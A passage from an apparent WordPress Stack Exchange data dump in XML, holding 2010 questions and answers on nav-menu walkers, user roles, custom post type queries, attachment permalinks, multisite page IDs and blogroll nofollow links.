&amp;lt;?php elseif ( ! empty( $searched ) ) : ?&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;?php _e('No results found.'); ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- /.tabs-panel --&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;div id=&quot;&amp;lt;?php echo $post_type_name; ?&amp;gt;-all&quot; class=&quot;tabs-panel tabs-panel-view-all &amp;lt;?php&#xA;            echo ( 'all' == $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' );&#xA;        ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;?php if ( ! empty( $page_links ) ) : ?&amp;gt;&#xA;                &amp;lt;div class=&quot;add-menu-item-pagelinks&quot;&amp;gt;&#xA;                    &amp;lt;?php echo $page_links; ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;ul id=&quot;&amp;lt;?php echo $post_type_name; ?&amp;gt;checklist&quot; class=&quot;list:&amp;lt;?php echo $post_type_name?&amp;gt; categorychecklist form-no-clear&quot;&amp;gt;&#xA;                &amp;lt;?php&#xA;                // WPSE 2770: And this is the filter we want to add!&#xA;                $walker = apply_filters( 'wp_nav_menu_item_post_type_meta_box_walker', $walker, $post_type_name, 'view-all' );&#xA;                $args['walker'] = new $walker;&#xA;&#xA;                // if we're dealing with pages, let's put a checkbox for the front page at the top of the list&#xA;                if ( 'page' == $post_type_name ) {&#xA;                    $front_page = 'page' == get_option('show_on_front') ? (int) get_option( 'page_on_front' ) : 0;&#xA;                    if ( ! empty( $front_page ) ) {&#xA;                        $front_page_obj = get_post( $front_page );&#xA;                        $front_page_obj-&amp;gt;_add_to_top = true;&#xA;                        $front_page_obj-&amp;gt;label = sprintf( _x('Home: %s', 'nav menu front page title'), $front_page_obj-&amp;gt;post_title );&#xA;                        array_unshift( $posts, $front_page_obj );&#xA;                    } else {&#xA;                        $_nav_menu_placeholder = ( 0 &amp;gt; $_nav_menu_placeholder ) ? intval($_nav_menu_placeholder) - 1 : -1;&#xA;                        array_unshift( $posts, (object) array(&#xA;                            '_add_to_top' =&amp;gt; true,&#xA;                            'ID' =&amp;gt; 0,&#xA;                            'object_id' =&amp;gt; $_nav_menu_placeholder,&#xA;                            'post_content' =&amp;gt; '',&#xA;                            'post_excerpt' =&amp;gt; '',&#xA;                            'post_title' =&amp;gt; _x('Home', 'nav menu home label'),&#xA;                            'post_type' =&amp;gt; 'nav_menu_item',&#xA;                            'type' =&amp;gt; 'custom',&#xA;                            'url' =&amp;gt; home_url('/'),&#xA;                        ) );&#xA;                    }&#xA;                }&#xA;$args['walker']-&amp;gt;db_fields['parent'] = 'post_parent';&#xA;                $checkbox_items = walk_nav_menu_tree( array_map('wp_setup_nav_menu_item', $posts), 0, (object) $args );&#xA;&#xA;                if ( 'all' == $current_tab &amp;amp;&amp;amp; ! empty( $_REQUEST['selectall'] ) ) {&#xA;                    $checkbox_items = preg_replace('/(type=(.)checkbox(\2))/', '$1 checked=$2checked$2', $checkbox_items);&#xA;&#xA;                }&#xA;&#xA;                echo $checkbox_items;&#xA;                ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;?php if ( ! empty( $page_links ) ) : ?&amp;gt;&#xA;                &amp;lt;div class=&quot;add-menu-item-pagelinks&quot;&amp;gt;&#xA;                    &amp;lt;?php echo $page_links; ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- /.tabs-panel --&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;p class=&quot;button-controls&quot;&amp;gt;&#xA;            &amp;lt;span class=&quot;list-controls&quot;&amp;gt;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php&#xA;                    echo esc_url(add_query_arg(&#xA;                        array(&#xA;                            $post_type_name . '-tab' =&amp;gt; 'all',&#xA;                            'selectall' =&amp;gt; 1,&#xA;                        ),&#xA;                        remove_query_arg($removed_args)&#xA;                    ));&#xA;                ?&amp;gt;#posttype-&amp;lt;?php echo $post_type_name; ?&amp;gt;&quot; class=&quot;select-all&quot;&amp;gt;&amp;lt;?php _e('Select All'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/span&amp;gt;&#xA;&#xA;            &amp;lt;span class=&quot;add-to-menu&quot;&amp;gt;&#xA;                &amp;lt;img class=&quot;waiting&quot; src=&quot;&amp;lt;?php echo esc_url( admin_url( 'images/wpspin_light.gif' ) ); ?&amp;gt;&quot; alt=&quot;&quot; /&amp;gt;&#xA;                &amp;lt;input type=&quot;submit&quot;&amp;lt;?php disabled( $nav_menu_selected_id, 0 ); ?&amp;gt; class=&quot;button-secondary submit-add-to-menu&quot; value=&quot;&amp;lt;?php esc_attr_e('Add to Menu'); ?&amp;gt;&quot; name=&quot;add-post-type-menu-item&quot; id=&quot;submit-posttype-&amp;lt;?php echo $post_type_name; ?&amp;gt;&quot; /&amp;gt;&#xA;            &amp;lt;/span&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- /.posttypediv --&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-12-08T14:52:26.183" CommentCount="2" />
  <row Id="5047" PostTypeId="1" AcceptedAnswerId="5048" CreationDate="2010-12-08T15:47:46.223" Score="0" ViewCount="939" Body="&lt;p&gt;I have a pretty specific requirement to show different text in a field label on the user profile page based on the current user's role. I can't seem to figure out how to check whether the current use is an &quot;author&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for a function like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;is_user_in_role($user, &quot;author&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I imagine this is pretty simple, but I have searched for too long without an answer so I thought I would post it here.&lt;/p&gt;&#xA;" OwnerUserId="193" LastActivityDate="2010-12-08T15:54:09.763" Title="How to check if a user is in a specific role?" Tags="&lt;wp-admin&gt;&lt;users&gt;&lt;roles&gt;" AnswerCount="1" />
  <row Id="5048" PostTypeId="2" ParentId="5047" CreationDate="2010-12-08T15:54:09.763" Score="1" ViewCount="" Body="&lt;p&gt;If you only need this for current user &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/current_user_can&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;current_user_can()&lt;/code&gt;&lt;/a&gt; accepts both roles and capabilities.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-08T15:54:09.763" CommentCount="1" />
  <row Id="5050" PostTypeId="1" CreationDate="2010-12-08T16:53:50.920" Score="1" ViewCount="361" Body="&lt;p&gt;Running a test WP 3.0+ on Ubuntu 10.10 (Server &amp;amp; Desktop)&#xA;MySQL, PHP 5.3, Apache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Installs fine and works ok,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I installed a CentOS VM and wordpress is loading way too faster and its very quick as compared to the one on Ubuntu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't got alot of plugins or anything on this wordpress install&lt;/p&gt;&#xA;&#xA;&lt;p&gt;would be grateful for your insight / suggestions on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, just today I realized that for some reason the WP 3.0.1 on Ubuntu won't show &quot;&lt;code&gt;an update is available&lt;/code&gt;&quot; whereas on CentOS it was showing and updated fine. Any ideas ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind Regards&lt;/p&gt;&#xA;" OwnerUserId="1872" LastActivityDate="2010-12-10T09:04:02.603" Title="Wordpress 3+ slow load times on Ubuntu 10.10" Tags="&lt;loading-time&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="5051" PostTypeId="2" ParentId="5050" CreationDate="2010-12-08T19:05:29.657" Score="2" ViewCount="" Body="&lt;p&gt;It looks like that wordpress can't check for updates on the one server but can on the other. Wordpress does not output much information if it can't, it's just an request which takes it's time to time-out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Install the &lt;a href=&quot;http://wordpress.org/extend/plugins/disable-wordpress-core-update/&quot; rel=&quot;nofollow&quot;&gt;Disable WordPress Core Update (Wordpress Plugin)&lt;/a&gt; and the &lt;a href=&quot;http://wordpress.org/extend/plugins/disable-wordpress-plugin-updates/&quot; rel=&quot;nofollow&quot;&gt;Disable WordPress Plugin Updates (Wordpress Plugin)&lt;/a&gt; to disable those update checks and see if it helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the &lt;a href=&quot;http://wordpress.org/extend/plugins/core-control/&quot; rel=&quot;nofollow&quot;&gt;Core Control (Wordpress Plugin)&lt;/a&gt; you can check which transports do work or not. You can even disable updates with that one as well. So it's probably the only one you need to install.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-12-08T19:05:29.657" />
  <row Id="5052" PostTypeId="1" AcceptedAnswerId="5056" CreationDate="2010-12-08T19:24:48.383" Score="1" ViewCount="212" Body="&lt;p&gt;I'm using the excellent &lt;a href=&quot;http://wordpress.org/extend/plugins/php-code-widget/&quot; rel=&quot;nofollow&quot;&gt;PHP Code Widget&lt;/a&gt; plugin, and want to create a widget that displays the post thumbnail (aka featured image) for the most recent 'project' post. Here's the code I have so far, but it isn't producing the desired result. This actually outputs nothing. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $post;&#xA;$args = array(&#xA;    'post_type' =&amp;gt; 'project',&#xA;    'posts_per_page' =&amp;gt; 1,&#xA;    ); &#xA;$thumbnails = get_posts($args);&#xA;foreach ($thumbnails as $post)&#xA;{&#xA;    setup_postdata($post);&#xA;        ?&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_post_thumbnail( 'thumbnail' ); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;?php &#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on what I need to change for this to work?&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-12-08T20:55:13.527" Title="How can I show the post thumbnail from the most recent of a certain post type, in widget?" Tags="&lt;php&gt;&lt;loop&gt;&lt;post-thumbnails&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="5053" PostTypeId="1" AcceptedAnswerId="5083" CreationDate="2010-12-08T19:36:50.187" Score="1" ViewCount="287" Body="&lt;p&gt;I'm not sure if this setting is handled in my wordpress installation or by Feedburner but right now my feedburner feed is displaying the feedburner favicon.  How can I set it to use my blogs favicon?&lt;/p&gt;&#xA;" OwnerUserId="765" LastActivityDate="2011-05-17T17:45:47.800" Title="How do I set my Feedburner feed to use my favicon?" Tags="&lt;feedburner&gt;&lt;favicon&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="5054" PostTypeId="2" ParentId="5015" CreationDate="2010-12-08T20:19:14.250" Score="1" ViewCount="" Body="&lt;p&gt;Actually, you can always just use a query parameter, even if you have the &quot;pretty&quot; permalinks enabled. So instead of &lt;code&gt;/category/sub-category/article.html/attachment/image&lt;/code&gt; you can go to &lt;code&gt;/?attachment=image&lt;/code&gt;. The only case when this &quot;breaks down&quot; is when you go to &lt;code&gt;/category/sub-category/article.html?attachment=image&lt;/code&gt;, because WordPress gets confused: it tries to query for a post and an attachment at the same time. However, this is very simple to handle: check for the request, and if it is an attachment remove the other parameters.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'parse_request', 'wpse5015_parse_request' );&#xA;function wpse5015_parse_request( $wp )&#xA;{&#xA;    if ( array_key_exists( 'attachment', $wp-&amp;gt;query_vars ) ) {&#xA;        unset( $wp-&amp;gt;query_vars['name'] );&#xA;        unset( $wp-&amp;gt;query_vars['year'] );&#xA;        unset( $wp-&amp;gt;query_vars['monthnum'] );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you only have to change the generated attachment URLs. Since they are almost in the correct format, we can just so some search and replace:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'attachment_link', 'wpse5015_attachment_link', 10, 2 );&#xA;function wpse5015_attachment_link( $link, $id )&#xA;{&#xA;    // If the attachment name is numeric, this is added to avoid page number conflicts&#xA;    $link = str_replace( 'attachment/', '', $link );&#xA;    $attachment = get_post( $id );&#xA;    $link = str_replace( '/' . $attachment-&amp;gt;post_name . '/', '?attachment=' . $attachment-&amp;gt;post_name, $link );&#xA;    return $link;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-12-08T20:19:14.250" CommentCount="5" />
  <row Id="5055" PostTypeId="1" CreationDate="2010-12-08T20:27:41.833" Score="1" ViewCount="698" Body="&lt;p&gt;I am writing a custom loop query to filter through a custom post type and custom taxonomy. I have replaced any variables with static values for the purpose of showing you what result I want.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'manufacturer' =&amp;gt; 'Keystone',&#xA;    'post_type' =&amp;gt; 'rv',&#xA;    'category_name' =&amp;gt; 'new',&#xA;    'rvtype' =&amp;gt; 'fifth-wheel'&#xA;);&#xA;&#xA;$loop = new WP_Query($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I run this loop, instead of showing, just fifth-wheels, all posts under the manufacturer type 'Keystone' are shown. Why is this? Shouldn't this query only show posts with the custom taxonomy requested, under the post-type = rv, with the new category, with the rvtype = fifth-wheel? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insight would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="1765" LastActivityDate="2010-12-09T01:52:03.020" Title="Query posts by custom post type and custom taxonomy" Tags="&lt;custom-post-types&gt;&lt;3.0.1&gt;&lt;custom-taxonomy&gt;&lt;query-posts&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="5056" PostTypeId="2" ParentId="5052" CreationDate="2010-12-08T20:55:13.527" Score="3" ViewCount="" Body="&lt;p&gt;Moving here so comments don't turn into a mess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically there are two things that can go wrong here:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Fetching of posts. Check that &lt;code&gt;$thumbnails&lt;/code&gt; gets correct post and only one. I am not sure if that is the issue, but &lt;code&gt;get_posts()&lt;/code&gt; docs list &lt;code&gt;numberposts&lt;/code&gt; argument instead of &lt;code&gt;posts_per_page&lt;/code&gt; that is listed for &lt;code&gt;query_posts()&lt;/code&gt;. That might make a difference.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Messing with global variables. For this usage I wouldn't touch global &lt;code&gt;$post&lt;/code&gt; at all, directly or with &lt;code&gt;setup_postdata()&lt;/code&gt; either. Just use non-loop versions of functions that can fetch things you need by post id - &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_permalink&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_permalink()&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_post_thumbnail&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_the_post_thumbnail()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-08T20:55:13.527" CommentCount="3" />
  <row Id="5057" PostTypeId="2" ParentId="5055" CreationDate="2010-12-08T21:12:31.860" Score="6" ViewCount="" Body="&lt;p&gt;Pretty sure you can't match multiple taxonomy terms in a query--Wordpress will only honor the first one and ignore the rest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently, this is scheduled to be fixed in 3.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, there is a plugin that'll fix you right up: &lt;a href=&quot;http://scribu.net/wordpress/query-multiple-taxonomies&quot; rel=&quot;nofollow&quot;&gt;http://scribu.net/wordpress/query-multiple-taxonomies&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&#xA;If you want a non-plugin solution, let me know. I've got one I use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&#xA;Here is the quick and dirty non-plugin way. Drop this code into your functions.php file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse_5057_match_multiple_taxonomy_terms($where_clause, $wp_query) {&#xA;&#xA;    // If the query obj exists&#xA;    if (isset($wp_query-&amp;gt;query)) {&#xA;&#xA;        $multi_query = $wp_query-&amp;gt;query;&#xA;&#xA;        if (is_array($multi_query) &amp;amp;&amp;amp; isset($multi_query['multiple_terms'])) {&#xA;&#xA;            global $wpdb;&#xA;            $arr_terms = $multi_query['multiple_terms'];&#xA;&#xA;            foreach($arr_terms as $key =&amp;gt; $value) {&#xA;&#xA;                $sql = &quot;AND $wpdb-&amp;gt;posts.ID IN(&#xA;                    SELECT tr.object_id&#xA;                    FROM $wpdb-&amp;gt;term_relationships AS tr&#xA;                    INNER JOIN $wpdb-&amp;gt;term_taxonomy AS tt ON tr.term_taxonomy_id = tt.term_taxonomy_id&#xA;                    INNER JOIN $wpdb-&amp;gt;terms AS t ON tt.term_id = t.term_id&#xA;                    WHERE tt.taxonomy='%s' AND t.slug='%s')&quot;;&#xA;&#xA;                $where_clause .= $wpdb-&amp;gt;prepare($sql, $key, $value); // add to the where&#xA;&#xA;            }&#xA;        }&#xA;&#xA;    }&#xA;&#xA;    return $where_clause; // return the filtered where&#xA;&#xA;}&#xA;add_action('posts_where','wpse_5057_match_multiple_taxonomy_terms',10,2); // Hook this to posts_where&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, when you run a query, add a new argument called multiple_terms. This should contain an array where the key is the taxonomy name and the value is the value you'd like to match. Like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'post_type' =&amp;gt; 'rv',&#xA;    'multiple_terms' =&amp;gt; array('manufacturer' =&amp;gt; 'Keystone', 'rvtype' =&amp;gt; 'fifth-wheel')&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Works for me. This is modified from an idea I found on another forum or blog, but I can't find it for the life of me.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastEditorUserId="1537" LastEditorDisplayName="" LastEditDate="2010-12-09T01:52:03.020" LastActivityDate="2010-12-09T01:52:03.020" CommentCount="2" />
  <row Id="5058" PostTypeId="1" AcceptedAnswerId="5059" CreationDate="2010-12-08T21:24:08.093" Score="1" ViewCount="499" Body="&lt;p&gt;I've been bashing my head against my desk all afternoon trying to figure this out. I've got a custom post type all set up, with hierarchical set to &quot;true&quot; and I can assign parents and see the relationship in the back end. Which is great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Except I want to list the children (and siblings) of my special new post type. I found this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if($post-&amp;gt;post_parent)&#xA;$children = wp_list_pages(&quot;title_li=&amp;amp;child_of=&quot;.$post-&amp;gt;post_parent.&quot;&amp;amp;echo=0&quot;);&#xA;else&#xA;$children = wp_list_pages(&quot;title_li=&amp;amp;child_of=&quot;.$post-&amp;gt;ID.&quot;&amp;amp;echo=0&quot;);&#xA;if ($children) { ?&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;?php echo $children; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which works perfectly when I put it into a page template for pages. But it returns squat for the custom post template.&#xA;I thought &quot;$post-&gt;post_parent)&quot; might be the issue -- but it's not:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;h1 class=&quot;page-title&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_permalink($post-&amp;gt;post_parent) ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( __( 'Return to %s', 'your-theme' ), wp_specialchars( get_the_title($post-&amp;gt;post_parent), 1 ) ) ?&amp;gt;&quot; rev=&quot;attachment&quot;&amp;gt;&amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;laquo; &amp;lt;/span&amp;gt;&amp;lt;?php echo get_the_title($post-&amp;gt;post_parent) ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(lifted from an attachment template) does give me a back link to the parent. -- so maybe it has something to do with wp_list_pages? Maybe it's something else? I'd appreciate any ideas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Martin&lt;/p&gt;&#xA;" LastActivityDate="2011-02-04T16:03:56.620" Title="wp_list_pages doesn't work in hierarchical custom post type" Tags="&lt;custom-post-types&gt;&lt;hierarchical&gt;&lt;list&gt;&lt;pages&gt;" AnswerCount="3" />
  <row Id="5059" PostTypeId="2" ParentId="5058" CreationDate="2010-12-08T21:53:14.210" Score="3" ViewCount="" Body="&lt;p&gt;As name hints &lt;code&gt;wp_list_pages()&lt;/code&gt; is intended for use with pages. As in &quot;a page page&quot;. It uses &lt;code&gt;get_pages()&lt;/code&gt; internally, which has &lt;code&gt;post_type&lt;/code&gt; argument that defaults to &lt;code&gt;page&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure at all this is supposed to work for non-pages, but you can try to pass your custom post type as that &lt;code&gt;post_type&lt;/code&gt; argument.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-08T21:53:14.210" CommentCount="11" />
  <row Id="5061" PostTypeId="1" AcceptedAnswerId="5064" CreationDate="2010-12-08T23:39:39.823" Score="2" ViewCount="103" Body="&lt;p&gt;If I have a page with ID 123, I know my template file &lt;code&gt;page-123.php&lt;/code&gt; will be called to render it, but if my theme is used across a network, could a page in a different site &lt;em&gt;also&lt;/em&gt; have ID 123?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume, if so, that I'll need to sniff &lt;code&gt;$current_site&lt;/code&gt; and requiring an alternate template file if it's not the site I'm targeting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already assume slugs aren't unique across a network.&lt;/p&gt;&#xA;" OwnerUserId="1876" LastActivityDate="2010-12-09T11:20:48.740" Title="Are page/post IDs unique across a whole network?" Tags="&lt;multisite&gt;&lt;page-template&gt;&lt;network&gt;" AnswerCount="3" />
  <row Id="5062" PostTypeId="1" AcceptedAnswerId="5063" CreationDate="2010-12-09T00:22:32.067" Score="1" ViewCount="200" Body="&lt;p&gt;How can I add a nofollow option to my blogroll links editor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attempted to just type &quot;nofollow&quot; into the &quot;rel&quot; input box, but its auto deleted onblur.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I turn javascript off (thanks to Matt's suggestion below), It works, but when I check the source on my site, the rel attribute looks like this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;rel=&quot;nofollow&amp;quot;onclick=&amp;quot;javascript:pageTracker._trackPageview(&amp;#039;/outbound/blogroll/www.site.com&amp;#039;);&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2010-12-09T02:07:01.813" LastActivityDate="2010-12-09T18:16:31.110" Title="Make blogroll links no-follow?" Tags="&lt;blogroll&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="5063" PostTypeId="2" ParentId="5062" CreationDate="2010-12-09T00:44:08.757" Score="2" ViewCount="" Body="&lt;p&gt;I know of three ways around this and unfortunately they all suck:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.skatdesign.com/blog/seo/adding-nofollow-attribute-to-your-wordpress-blogroll.htm&quot; rel=&quot;nofollow&quot;&gt;Hack a core file&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=nofollow+blogroll&quot; rel=&quot;nofollow&quot;&gt;Use a plugin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Temporarily turn off scripgs in your browser and change them in the edit links section.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="765" LastActivityDate="2010-12-09T00:44:08.757" CommentCount="3" />
  <row Id="5064" PostTypeId="2" ParentId="5061" CreationDate="2010-12-09T00:53:43.397" Score="3" ViewCount="" Body="&lt;p&gt;Nope, they aren't unique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes - you'd have to check current site and do that.... or use a theme with a custom menu?&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2010-12-09T00:53:43.397" />
  <row Id="5065" PostTypeId="2" ParentId="5061" CreationDate="2010-12-09T01:12:01.557" Score="1" ViewCount="" Body="&lt;p&gt;It is in my opinion, the best move here to make a template file and make sure your page (123 or whatever) uses that template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way you can use your theme and also share it to the network. An beginner will not mess with the template settings, and you'll avoid accidental formatting of pages.&lt;/p&gt;&#xA;" OwnerUserId="1695" LastEditorUserId="1695" LastEditorDisplayName="" LastEditDate="2010-12-09T11:20:48.740" LastActivityDate="2010-12-09T11:20:48.740" />
  <row Id="5066" PostTypeId="2" ParentId="5061" CreationDate="2010-12-09T01:35:28.557" Score="2" ViewCount="" Body="&lt;p&gt;Definitely not unique, sorry... Each blog's tables are prefixed with that site's prefix. You need to check for the current site/blog to make sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;D.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-09T01:35:28.557" />
  <row Id="5067" PostTypeId="1" AcceptedAnswerId="5068" CreationDate="2010-12-09T02:43:35.630" Score="0" ViewCount="158" Body="&lt;p&gt;How can I set up wordpress to recognize  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.example.com/wp-content/uploads/2010/12/history.pdf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.example.com/about/pdf-download/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also want the user not to see the actual link but the new one.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditorDisplayName="" LastEditDate="2010-12-09T23:43:29.633" LastActivityDate="2010-12-09T23:43:29.633" Title="Custom Download Link" Tags="&lt;url-rewriting&gt;" AnswerCount="2" />
  <row Id="5068" PostTypeId="2" ParentId="5067" CreationDate="2010-12-09T07:25:21.880" Score="4" ViewCount="" Body="&lt;p&gt;Do you just need to redirect that one specific request (for /wp-content/uploads/2010/12/history.pdf to /about/history.pdf)?  Or do you need to to handle many requests (say, for /wp-content/uploads/2010/12/* to /about/*)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's the former, use a &lt;a href=&quot;http://en.wikipedia.org/wiki/Symbolic_link&quot; rel=&quot;nofollow&quot;&gt;symbolic link&lt;/a&gt; (or, if you're not on Unix/Linux/BSD, whatever equivalent your OS offers).  If it's the latter, use &lt;a href=&quot;http://httpd.apache.org/docs/current/rewrite/&quot; rel=&quot;nofollow&quot;&gt;mod_rewrite&lt;/a&gt; (or, if you're not using Apache, whatever equivalent your Web server offers).&lt;/p&gt;&#xA;" OwnerUserId="1782" LastActivityDate="2010-12-09T07:25:21.880" CommentCount="1" />
  <row Id="5069" PostTypeId="1" AcceptedAnswerId="5129" CreationDate="2010-12-09T08:55:28.433" Score="-2" ViewCount="158" Body="&lt;p&gt;I found a image accorian menu plugin based on mootools farework. Please suggest if any based on jquery framework.&lt;/p&gt;&#xA;" OwnerUserId="958" LastActivityDate="2010-12-10T09:31:18.247" Title="Jquery based image accordian plugin" Tags="&lt;plugins&gt;&lt;jquery&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="5071" PostTypeId="2" ParentId="5069" CreationDate="2010-12-09T12:17:43.563" Score="1" ViewCount="" Body="&lt;p&gt;Try the one from jQuery UI&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-09T12:17:43.563" />
  <row Id="5073" PostTypeId="1" AcceptedAnswerId="5176" CreationDate="2010-12-09T12:36:06.740" Score="0" ViewCount="193" Body="&lt;p&gt;I would like to display all my category items under a single parent but I failed to do so now I'm creating a new menu link for each category and dragging it into place in the custom menu screen. Is there an easier and automatic way of doing this?&lt;/p&gt;&#xA;" OwnerUserId="1881" LastActivityDate="2010-12-10T22:30:55.117" Title="How to automatically generate custom menu item from categories?" Tags="&lt;categories&gt;&lt;custom-menus&gt;&lt;menus&gt;" AnswerCount="1" />
